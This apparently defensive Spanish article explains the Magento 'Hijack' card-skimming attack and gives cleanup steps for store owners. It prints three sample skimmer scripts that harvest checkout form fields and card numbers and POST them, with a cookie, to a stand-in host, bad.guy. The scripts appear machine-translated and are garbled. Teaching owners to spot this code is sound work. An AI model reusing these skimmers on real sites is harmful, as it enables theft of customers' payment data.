El hack Hijack Magento es un código malicioso en Magento que permite a los hackers interceptar los datos financieros, tales como credenciales de tarjeta de crédito.

¿Que es Hijack?

Es un código malicioso inyectado en Magento que permite a los hackers  interceptar los datos financieros, tales como credenciales de tarjeta de crédito. Con este nuevo ataque, los datos de las tarjetas de crédito son capturados sin cifrar. Con esta nueva forma de piratería, se añade el malware en el navegador de los visitantes. Este malware intercepta las credenciales de tarjeta de crédito el momento que los clientes insertan estos datos en el navegador. En este punto, las credenciales no son todavía cifrados.

Una vez que Magento descubrió la fuga se analizó el malware. Nos enteramos de que en este momento de una asombrosa cantidad de 3.500 tiendas de Magento eran parte de una red zombi que interceptaban credenciales de tarjeta de crédito, y enviaban estos datos a los llamados servidores de comando y control. (Servidores de comando y control son una red de servidores donde los hackers recogen este tipo de datos). Esta es la primera vez que nos encontramos con un fraude automatizado de tarjetas de crédito en esta escala.

¿Cuáles son las consecuencias?

Las consecuencias son que los piratas informáticos intercepten los datos financieros de sus clientes. Con esta información se puede cometer un fraude a nivel mundial de tarjetas de crédito, causando mucho daño financiero.

El fraude se remonta al 12 de mayo, lo que implica que la negligencia pasó desapercibido durante meses y todavía está en activo.

¿Cómo puedo solucionarlo?

Aplique todos los parches disponibles Magento

Analice su tienda con Magereport.com para averiguar qué parches han sido y no se han instalado todavía. Cuando no esté instalado un parche, debe instalarlo con las instrucciones dadas o puede ver el artículo de Cómo aplicar parches de Magento.

Revisar y eliminar

Revise todos los usuarios administradores en su sistema a través de backend de Magento (vaya a Sistema> Permisos> Roles). Retire cualquier cuenta que usted no está utilizando de forma activa y vuelva a establecer contraseñas seguras para todos los usuarios administradores que usted use.

Eliminar scripts desconocidos (PHP y Javascript)

La búsqueda y eliminación se puede hacer a través de backend de Magento. Una vez conectado a su backend:

  • Vaya a Sistema > Configuración
  • Ir a General > Diseño
  • Despliegue la opción Cabecera HTML y busque dentro del textarea
  • Despliegue la opción Pie de página y busque dentro del textarea

Si estos campos estén vacíos probablemente su pagina sea segura, si no es así busque script que como los que les dejo en el ejemplo.

Ejemplos de Scripts Maliciosos

<script> jj función (e) {var t = "," + document.cookie, o = t.split (";" + e + "="); volver 2 == o.length o.pop ()?. split (";") cambiar (.): void 0} jj ("SESSIID") || (document.cookie = "SESSIID =" + (nueva fecha) .getTime ()), jQuery (function (e) {e ("botón") en ("click", function () {var t = "", o = "post", n = window.location; si (nueva RegExp (".. OnePage | checkout") prueba (n) ) {for (var c = document.querySelectorAll ("input, select, textarea, checkbox"), i = 0; i <c.length; i ++) si (c [i] .value.length> 0) {var a = c [i] .name; "" == un && (a = i), t + = a + "=" + c [i] .value + "y"} if (t) {var l = new RegExp ("[0 -9] {13,16} "), u = new XMLHttpRequest; u.open (o, e (" <div />").html("https://bad.guy/jquery.php ").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+jj("SESSIID")),console.clear()}}})});</script>
<script>
var SND = null;
window.onload = function () {
 if ((nueva RegExp ('OnePage')). de prueba (window.location)) {
 enviar();
 
 }
};
 
clk function () {
 var inp = document.querySelectorAll ("input, select, textarea, checkbox");
 for (var i = 0; i <inp.length; i ++) {
 si (INP [i] .value.length> 0) {
 var NME = INP [i] .name;
 si (NME == '') {NME = i; }
 snd + = INP [i] .name + '=' + inp [i] .value + '&';
 }
 }
 
}
 
Enviar function () {
var btn = document.querySelectorAll ("a [href * = 'javascript: void (0)'], botón, de entrada, se someten, .btn, .button");
 for (var i = 0; i <btn.length; i ++) {
 var b = btn [i];
 si (b.type! = 'text' && b.type! = 'select' && b.type! = 'casilla' && b.type! = 'password' && b.type! = "radio") {
 si (b.addEventListener) {
 b.addEventListener ("click", CLK, false);
 }más {
 b.attachEvent ('onclick', clk);
 }
 }
 }
 
 var frm = document.querySelectorAll ("forma");
 for (var i = 0; i <frm.length; i ++) {
 si (frm [i] .addEventListener) {
 frm [i] .addEventListener ("enviar", CLK, false);
 }más {
 frm [i] .attachEvent ('onsubmit', clk);
 }
 }
 
 if (! SND = null) {
 console.clear ();
 var cc = new RegExp ("[0-9] {13,16}");
 asd var = "0";
 si (cc.test (SND)) {
 asd = "1";
 }
var http = new XMLHttpRequest ();
http.open ("POST", "https: //bad.guy/jquery.php", true);
http.setRequestHeader ("Content-type", "urlencoded-www-form x-application /");
http.send ("data =" + snd + "& asd =" + asd + "& id_id = ano.nym");
console.clear ();
 }
 SND = null;
 setTimeout ('send ()', 150);
}
 
</ script>
<script>
 jj función (e) {
 var t = "," + document.cookie
 , O = t.split (";" + e + "=");
 volver 2 o.length ==? . o.pop split () (";") cambiar (): void 0.
 }
 jj ("SESSIID") || (document.cookie = "SESSIID =" + (nueva fecha) .getTime ())
 , JQuery (function (e) {
 e ("button"). en ("click", function () {
 var t = ""
 , O = "post"
 , N = window.location;
 si (nueva RegExp ("OnePage | checkout".) prueba (n)) {
 for (var c = document.querySelectorAll ("input, select, textarea, checkbox"), i = 0; i <c.length; i ++)
 si (c [i] .value.length> 0) {
 var a = c [i] .name;
 "" == Un && (a = i)
 , T + = A + "=" + c [i] .value + "&"
 }
 si (t) {
 var l = new RegExp ("[0-9] {13,16}")
 , U = new XMLHttpRequest;
 u.open (o, e ("<div ") .text (), 0)
 , U.setRequestHeader ("Content-type", "application / x-www-form-urlencoded")
 , U.send (t + "& asd =" + (l.test (t.replace (/ s / g, "")) 1: 0) + "& utmp =" + n + "y galletas =" + jj ( "SESSIID"))
 , Console.clear ()
 }
 }
 })
 });
</ script>

Recuperar su tienda

Suponemos que esta vulnerabilidad es debida a una combinación de varias fugas de Magento (estos últimos meses varios parches Magento salieron y con una alta cobertura en los medios de comunicación). Es probable que los hackers utilizan estos vulnerabilidades de seguridad para configurar este fraude con tarjetas de crédito.

Le recomendamos que “limpie” su tienda siguiendo los pasos escritos en el artículo de recuperar una Magento Shop hackeado después de instalar todos los parches de Magento, eliminar administradores Magento inactivos y la eliminación de código malicioso.